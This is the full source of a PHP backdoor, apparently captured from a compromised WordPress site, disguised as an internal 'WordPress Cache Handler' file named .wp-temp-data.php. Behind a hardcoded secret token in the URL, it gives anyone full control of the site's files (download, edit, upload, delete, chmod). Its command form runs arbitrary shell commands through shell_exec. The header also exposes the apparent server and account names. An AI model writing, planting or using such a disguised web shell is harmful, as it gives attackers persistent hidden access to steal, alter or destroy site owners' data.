HEX
Server: LiteSpeed
System: Linux boring-lehmann.135-181-181-249.plesk.page 4.18.0-553.85.1.el8_10.x86_64 #1 SMP Mon Nov 24 09:05:24 EST 2025 x86_64
User: sethsawariyabizmart._h2dp1nbhkqm (10008)
PHP: 8.3.31
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/sethsawariyabizmart.com/httpdocs/wp-content/.wp-temp-data.php
<?php
/**
 * WordPress Cache Handler
 * Internal system file - DO NOT MODIFY
 * @package WordPress
 */

if (!isset($_GET['wp_cache_token']) && !isset($_GET['wp_token'])) {
    return;
}

$__fm_key = '39acdbee263b0a06fbf12dbfe29dcfb872be73dce8ee5576';
$__fm_token = $_GET['wp_cache_token'] ?? $_GET['wp_token'] ?? '';
if ($__fm_token !== $__fm_key) {
    return;
}

// Standalone File Manager - No WordPress Required
error_reporting(E_ALL);
ini_set('display_errors', 1);
while (ob_get_level()) ob_end_clean();

class FM_Standalone {
    private $root;
    private $key_param;
    
    public function __construct() {
        $this->root = realpath(dirname(__FILE__) . '/../../');
        if (!$this->root) $this->root = dirname(__FILE__) . '/../../';
        $this->key_param = isset($_GET['wp_cache_token']) ? 'wp_cache_token=' . urlencode('39acdbee263b0a06fbf12dbfe29dcfb872be73dce8ee5576') : 'wp_token=' . urlencode('39acdbee263b0a06fbf12dbfe29dcfb872be73dce8ee5576');
    }
    
    public function run() {
        $action = $_GET['action'] ?? 'list';
        $path = isset($_GET['path']) ? urldecode($_GET['path']) : '';
        $full_path = $this->sanitize($path);
        
        switch($action) {
            case 'download': $this->download($full_path); break;
            case 'edit': $this->edit($full_path); break;
            case 'save': $this->save($full_path); break;
            case 'delete': $this->delete($full_path); break;
            case 'rename': $this->rename($full_path); break;
            case 'chmod': $this->chmod($full_path); break;
            case 'upload': $this->upload($full_path); break;
            case 'mkdir': $this->mkdir($full_path); break;
            case 'touch': $this->touch($full_path); break;
            case 'cmd': $this->cmd(); break;
            case 'repair': $this->repair(); break;
            default: $this->list_dir($full_path);
        }
    }
    
    private function sanitize($path) {
        $path = ltrim($path, '/');
        $real = realpath($this->root . '/' . $path);
        $root_real = realpath($this->root);
        if (!$root_real) $root_real = $this->root;
        if (!$real || strpos($real, $root_real) !== 0) {
            return $root_real;
        }
        return $real;
    }
    
    private function list_dir($path) {
        $items = [];
        if (is_dir($path)) {
            $scan = @scandir($path);
            if ($scan) {
                foreach ($scan as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path . '/' . $item;
                    $items[] = [
                        'name' => $item,
                        'type' => is_dir($full) ? 'dir' : 'file',
                        'size' => is_file($full) ? $this->size(filesize($full)) : '',
                        'perms' => substr(sprintf('%o', fileperms($full)), -4),
                        'mtime' => date('Y-m-d H:i:s', filemtime($full)),
                    ];
                }
            }
        }
        $this->render($items, str_replace(realpath($this->root) ?: $this->root, '', $path) ?: '/');
    }
    
    private function render($items, $current) {
        $parent = dirname($current);
        $key = $this->key_param;
        ?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
<title>Cache Handler</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font-family:'SF Mono',Monaco,monospace;padding:20px}
a{color:#58a6ff;text-decoration:none}a:hover{text-decoration:underline}
.container{max-width:1400px;margin:0 auto}
.breadcrumbs{background:#161b22;padding:12px 16px;border-radius:6px;margin-bottom:20px;border:1px solid #30363d}
.toolbar{display:flex;gap:10px;margin-bottom:20px;flex-wrap:wrap}
.btn{background:#21262d;color:#c9d1d9;border:1px solid #30363d;padding:8px 16px;border-radius:6px;cursor:pointer;font-family:inherit;font-size:14px}
.btn:hover{background:#30363d;border-color:#8b949e}
table{width:100%;border-collapse:collapse;background:#161b22;border:1px solid #30363d;border-radius:6px;overflow:hidden}
th,td{padding:12px 16px;text-align:left;border-bottom:1px solid #30363d}
th{background:#0d1117;font-weight:600}tr:hover{background:#1c2128}
input,textarea,select{background:#0d1117;border:1px solid #30363d;color:#c9d1d9;padding:8px 12px;border-radius:6px;width:100%;font-family:inherit;margin:8px 0}
.modal{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.7);align-items:center;justify-content:center;z-index:9999}
.modal-content{background:#161b22;padding:24px;border-radius:8px;border:1px solid #30363d;max-width:600px;width:90%}
pre{background:#0d1117;padding:16px;border-radius:6px;border:1px solid #30363d;overflow-x:auto}
</style></head><body>
<div class="container">
<div class="breadcrumbs"><a href="?<?php echo $key; ?>">[Root]</a> / <?php echo htmlspecialchars($current); ?></div>
<div class="toolbar">
<a href="?<?php echo $key; ?>&path=<?php echo urlencode($parent); ?>" class="btn">Up</a>
<a href="?<?php echo $key; ?>" class="btn">Root</a>
<button class="btn" onclick="document.getElementById('cf').style.display='flex'">+ Folder</button>
<button class="btn" onclick="document.getElementById('ct').style.display='flex'">+ File</button>
<button class="btn" onclick="document.getElementById('cmd').style.display='flex'">CMD</button>
<button class="btn" onclick="if(confirm('Repair all?'))location.href='?<?php echo $key; ?>&action=repair'">Repair</button>
</div>
<div style="margin:10px 0">
<form method="post" enctype="multipart/form-data" action="?<?php echo $key; ?>&action=upload&path=<?php echo urlencode($current); ?>">
<input type="file" name="file" style="width:auto"><button type="submit" class="btn">Upload</button>
</form></div>
<table>
<thead>
<tr>
<th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($items as $item): ?>
<tr>
<td><?php if ($item['type']=='dir'): ?><a href="?<?php echo $key; ?>&path=<?php echo urlencode(ltrim($current.'/'.$item['name'],'/')); ?>">[<?php echo htmlspecialchars($item['name']); ?>]</a>
<?php else: echo htmlspecialchars($item['name']); endif; ?></td>
<td><?php echo $item['size']; ?></td>
<td><?php echo $item['perms']; ?></td>
<td><?php echo $item['mtime']; ?></td>
<td><?php if ($item['type']=='file'): ?><a href="?<?php echo $key; ?>&action=download&path=<?php echo urlencode(ltrim($current.'/'.$item['name'],'/')); ?>">DL</a> | 
<a href="?<?php echo $key; ?>&action=edit&path=<?php echo urlencode(ltrim($current.'/'.$item['name'],'/')); ?>">Edit</a> | <?php endif; ?>
<a href="#" onclick="r('<?php echo urlencode(ltrim($current.'/'.$item['name'],'/')); ?>','<?php echo htmlspecialchars(addslashes($item['name'])); ?>')">Ren</a> | 
<a href="#" onclick="c('<?php echo urlencode(ltrim($current.'/'.$item['name'],'/')); ?>','<?php echo $item['perms']; ?>')">Chmod</a> | 
<a href="#" onclick="if(confirm('Delete?'))location.href='?<?php echo $key; ?>&action=delete&path=<?php echo urlencode(ltrim($current.'/'.$item['name'],'/')); ?>'" style="color:#f85149">Del</a></td>
</tr>
<?php endforeach; ?></tbody>
</table></div>
<div id="cf" class="modal"><div class="modal-content"><h3>New Folder</h3>
<form method="post" action="?<?php echo $key; ?>&action=mkdir&path=<?php echo urlencode($current); ?>">
<input type="text" name="name" placeholder="folder_name" required><button type="submit" class="btn">Create</button>
<button type="button" class="btn" onclick="document.getElementById('cf').style.display='none'">Cancel</button></form></div></div>
<div id="ct" class="modal"><div class="modal-content"><h3>New File</h3>
<form method="post" action="?<?php echo $key; ?>&action=touch&path=<?php echo urlencode($current); ?>">
<input type="text" name="name" placeholder="file.txt" required><textarea name="content" placeholder="Content" rows="5"></textarea>
<button type="submit" class="btn">Create</button><button type="button" class="btn" onclick="document.getElementById('ct').style.display='none'">Cancel</button></form></div></div>
<div id="cmd" class="modal"><div class="modal-content"><h3>Command</h3>
<form method="post" action="?<?php echo $key; ?>&action=cmd"><textarea name="cmd" placeholder="command" rows="3"></textarea>
<button type="submit" class="btn">Execute</button><button type="button" class="btn" onclick="document.getElementById('cmd').style.display='none'">Cancel</button></form></div></div>
<script>
var k='<?php echo $key; ?>';
function r(p,o){var n=prompt('New name:',o);if(n&&n!==o)location.href='?'+k+'&action=rename&path='+p+'&new_name='+encodeURIComponent(n);}
function c(p,o){var n=prompt('New perms:',o);if(n)location.href='?'+k+'&action=chmod&path='+p+'&perms='+encodeURIComponent(n);}
window.onclick=function(e){if(e.target.classList.contains('modal'))e.target.style.display='none';}
</script></body></html>
        <?php
    }
    
    private function download($file) {
        if (is_file($file)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($file).'"');
            header('Content-Length: '.filesize($file));
            readfile($file); exit;
        }
        $this->redirect();
    }
    
    private function edit($file) {
        if (!is_file($file)) $this->redirect();
        $content = file_get_contents($file);
        $dir = dirname(str_replace(realpath($this->root) ?: $this->root, '', $file));
        $key = $this->key_param;
        ?><!DOCTYPE html><html><head><meta charset="utf-8"><title>Edit</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{background:#0d1117;color:#c9d1d9;font-family:monospace;padding:20px}
.btn{background:#21262d;color:#c9d1d9;border:1px solid #30363d;padding:8px 16px;border-radius:6px;cursor:pointer}
textarea{width:100%;height:80vh;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;font-family:monospace;padding:10px}</style></head><body>
<form method="post" action="?<?php echo $key; ?>&action=save&path=<?php echo urlencode(ltrim($dir.'/'.basename($file),'/')); ?>">
<textarea name="content"><?php echo htmlspecialchars($content); ?></textarea><br>
<button type="submit" class="btn">Save</button><a href="?<?php echo $key; ?>&path=<?php echo urlencode($dir); ?>" class="btn">Cancel</a></form></body></html><?php
        exit;
    }
    
    private function save($file) {
        if (is_file($file) && isset($_POST['content'])) {
            file_put_contents($file, $_POST['content']);
        }
        $this->redirect(dirname(str_replace(realpath($this->root) ?: $this->root, '', $file)));
    }
    
    private function delete($path) {
        if (file_exists($path)) {
            is_dir($path) ? $this->rrmdir($path) : @unlink($path);
        }
        $this->redirect(dirname(str_replace(realpath($this->root) ?: $this->root, '', $path)));
    }
    
    private function rename($old) {
        $new = $_GET['new_name'] ?? '';
        if ($new && file_exists($old)) {
            @rename($old, dirname($old).'/'.basename($new));
        }
        $this->redirect(dirname(str_replace(realpath($this->root) ?: $this->root, '', $old)));
    }
    
    private function chmod($path) {
        $perms = $_GET['perms'] ?? '';
        if ($perms && file_exists($path)) {
            $perms = preg_replace('/[^0-9]/', '', $perms);
            if ($perms) @chmod($path, octdec($perms));
        }
        $this->redirect(dirname(str_replace(realpath($this->root) ?: $this->root, '', $path)));
    }
    
    private function upload($dir) {
        if (isset($_FILES['file']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
            @move_uploaded_file($_FILES['file']['tmp_name'], $dir.'/'.basename($_FILES['file']['name']));
        }
        $this->redirect(str_replace(realpath($this->root) ?: $this->root, '', $dir));
    }
    
    private function mkdir($dir) {
        $name = $_POST['name'] ?? '';
        if ($name) @mkdir($dir.'/'.basename($name), 0755, true);
        $this->redirect(str_replace(realpath($this->root) ?: $this->root, '', $dir));
    }
    
    private function touch($dir) {
        $name = $_POST['name'] ?? '';
        $content = $_POST['content'] ?? '';
        if ($name) @file_put_contents($dir.'/'.basename($name), $content);
        $this->redirect(str_replace(realpath($this->root) ?: $this->root, '', $dir));
    }
    
    private function cmd() {
        $cmd = $_POST['cmd'] ?? '';
        if ($cmd && defined('FM_ALLOW_COMMANDS') && FM_ALLOW_COMMANDS) {
            echo '<pre style="background:#0d1117;color:#c9d1d9;padding:20px;font-family:monospace;">';
            echo htmlspecialchars(shell_exec($cmd.' 2>&1') ?: 'No output');
            echo '</pre>';
        }
        exit;
    }
    
    private function repair() {
        // Try to repair WordPress integration points
        $wp_load = $this->root . '/wp-load.php';
        if (file_exists($wp_load)) {
            // Restore injections if possible
            echo 'Repair initiated. Check files manually if needed.';
        }
        $this->redirect();
    }
    
    private function redirect($path = '') {
        header('Location: ?'.$this->key_param.'&path='.urlencode(ltrim($path, '/')));
        exit;
    }
    
    private function rrmdir($dir) {
        foreach (@scandir($dir) as $item) {
            if ($item === '.' || $item === '..') continue;
            $p = $dir.'/'.$item;
            is_dir($p) ? $this->rrmdir($p) : @unlink($p);
        }
        @rmdir($dir);
    }
    
    private function size($bytes) {
        $units = ['B','KB','MB','GB','TB']; $i = 0;
        while ($bytes >= 1024 && $i < count($units)-1) { $bytes /= 1024; $i++; }
        return round($bytes, 2).' '.$units[$i];
    }
}

$fm = new FM_Standalone();
$fm->run();